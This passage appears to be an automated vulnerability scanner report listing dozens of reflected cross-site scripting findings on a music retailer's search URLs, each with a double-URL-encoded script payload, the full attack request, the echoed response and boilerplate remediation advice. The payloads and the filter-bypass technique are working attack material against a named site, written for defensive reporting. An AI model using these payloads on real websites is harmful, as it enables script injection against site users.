There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Carbon668a8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eec519e9d99d/Silicon&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 345cd%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee6f039d92e0 was submitted in the REST URL parameter 3. This input was echoed as 345cd</title><script>alert(1)</script>e6f039d92e0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Carbon345cd%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee6f039d92e0/Silicon&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 67e5f%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e57b4b955292 was submitted in the REST URL parameter 3. This input was echoed as 67e5f</title><script>alert(1)</script>57b4b955292 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Cardia67e5f%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e57b4b955292&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2822d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ead1080e859e was submitted in the REST URL parameter 3. This input was echoed as 2822d"><script>alert(1)</script>ad1080e859e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Cardia2822d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ead1080e859e&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4ca7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6431cf88b5a was submitted in the REST URL parameter 3. This input was echoed as d4ca7"><script>alert(1)</script>6431cf88b5a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Carissa's%20Wierdd4ca7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6431cf88b5a&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload f4864%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb2b5185e950 was submitted in the REST URL parameter 3. This input was echoed as f4864</title><script>alert(1)</script>b2b5185e950 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Carissa's%20Wierdf4864%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb2b5185e950&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c1fdd%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed7d46d9c1 was submitted in the REST URL parameter 3. This input was echoed as c1fdd"><script>alert(1)</script>d7d46d9c1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Cassiec1fdd%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed7d46d9c1&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload b73ef%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee2fb05f808 was submitted in the REST URL parameter 3. This input was echoed as b73ef</title><script>alert(1)</script>e2fb05f808 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Cassieb73ef%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee2fb05f808&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 62953%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0126adc5a5e was submitted in the REST URL parameter 3. This input was echoed as 62953</title><script>alert(1)</script>0126adc5a5e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Curren$y62953%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0126adc5a5e&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ccac5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec8e0ea4401f was submitted in the REST URL parameter 3. This input was echoed as ccac5"><script>alert(1)</script>c8e0ea4401f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Curren$yccac5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec8e0ea4401f&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4055%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e44e45114f50 was submitted in the REST URL parameter 3. This input was echoed as c4055"><script>alert(1)</script>44e45114f50 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/D'eonc4055%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e44e45114f50&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 61f59%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2dd9703b6fa was submitted in the REST URL parameter 3. This input was echoed as 61f59</title><script>alert(1)</script>2dd9703b6fa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/D'eon61f59%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2dd9703b6fa&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21167%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3b0cb5ca909 was submitted in the REST URL parameter 3. This input was echoed as 21167"><script>alert(1)</script>3b0cb5ca909 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/DJ%2021167%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3b0cb5ca909/rupture&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload a4f2d%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eca96ee754fd was submitted in the REST URL parameter 3. This input was echoed as a4f2d</title><script>alert(1)</script>ca96ee754fd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/DJ%20a4f2d%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eca96ee754fd/rupture&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33d1e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e256a07ce2f9 was submitted in the REST URL parameter 3. This input was echoed as 33d1e"><script>alert(1)</script>256a07ce2f9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Daft%20Punk33d1e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e256a07ce2f9&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 9d327%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb06fa55ef91 was submitted in the REST URL parameter 3. This input was echoed as 9d327</title><script>alert(1)</script>b06fa55ef91 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Daft%20Punk9d327%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb06fa55ef91&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload ab7ba%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253effa7d5727c3 was submitted in the REST URL parameter 3. This input was echoed as ab7ba</title><script>alert(1)</script>ffa7d5727c3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Dark%20Dark%20Darkab7ba%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253effa7d5727c3&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml"> <head> <link re ...[SNIP]... <title>Dark Dark Darkab7ba</title><script>alert(1)</script>ffa7d5727c3</title> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21873%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec81f260ae87 was submitted in the REST URL parameter 3. This input was echoed as 21873"><script>alert(1)</script>c81f260ae87 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Dark%20Dark%20Dark21873%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec81f260ae87&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45a6a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e611d543f39a was submitted in the REST URL parameter 3. This input was echoed as 45a6a"><script>alert(1)</script>611d543f39a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Das%20Racist45a6a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e611d543f39a&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 4e8cb%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1c1d752e50d was submitted in the REST URL parameter 3. This input was echoed as 4e8cb</title><script>alert(1)</script>1c1d752e50d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Das%20Racist4e8cb%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1c1d752e50d&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 68d0e%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eed1e899527 was submitted in the REST URL parameter 3. This input was echoed as 68d0e</title><script>alert(1)</script>ed1e899527 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Deerhunter68d0e%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eed1e899527&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cae0c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb67fa7d6406 was submitted in the REST URL parameter 3. This input was echoed as cae0c"><script>alert(1)</script>b67fa7d6406 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Deerhuntercae0c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb67fa7d6406&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload a33d8%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6a833c279fd was submitted in the REST URL parameter 3. This input was echoed as a33d8</title><script>alert(1)</script>6a833c279fd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Diamond%20Ringsa33d8%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6a833c279fd&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2be0a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e213a1513519 was submitted in the REST URL parameter 3. This input was echoed as 2be0a"><script>alert(1)</script>213a1513519 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Diamond%20Rings2be0a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e213a1513519&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ba14%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ecab2427d702 was submitted in the REST URL parameter 3. This input was echoed as 9ba14"><script>alert(1)</script>cab2427d702 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Dinosaur%20Jr.9ba14%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ecab2427d702&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload eac63%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee2b7a9dd033 was submitted in the REST URL parameter 3. This input was echoed as eac63</title><script>alert(1)</script>e2b7a9dd033 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Dinosaur%20Jr.eac63%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee2b7a9dd033&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 6b0e8%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e17722ee5f98 was submitted in the REST URL parameter 3. This input was echoed as 6b0e8</title><script>alert(1)</script>17722ee5f98 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Drake6b0e8%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e17722ee5f98&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5587e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0a86562e007 was submitted in the REST URL parameter 3. This input was echoed as 5587e"><script>alert(1)</script>0a86562e007 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
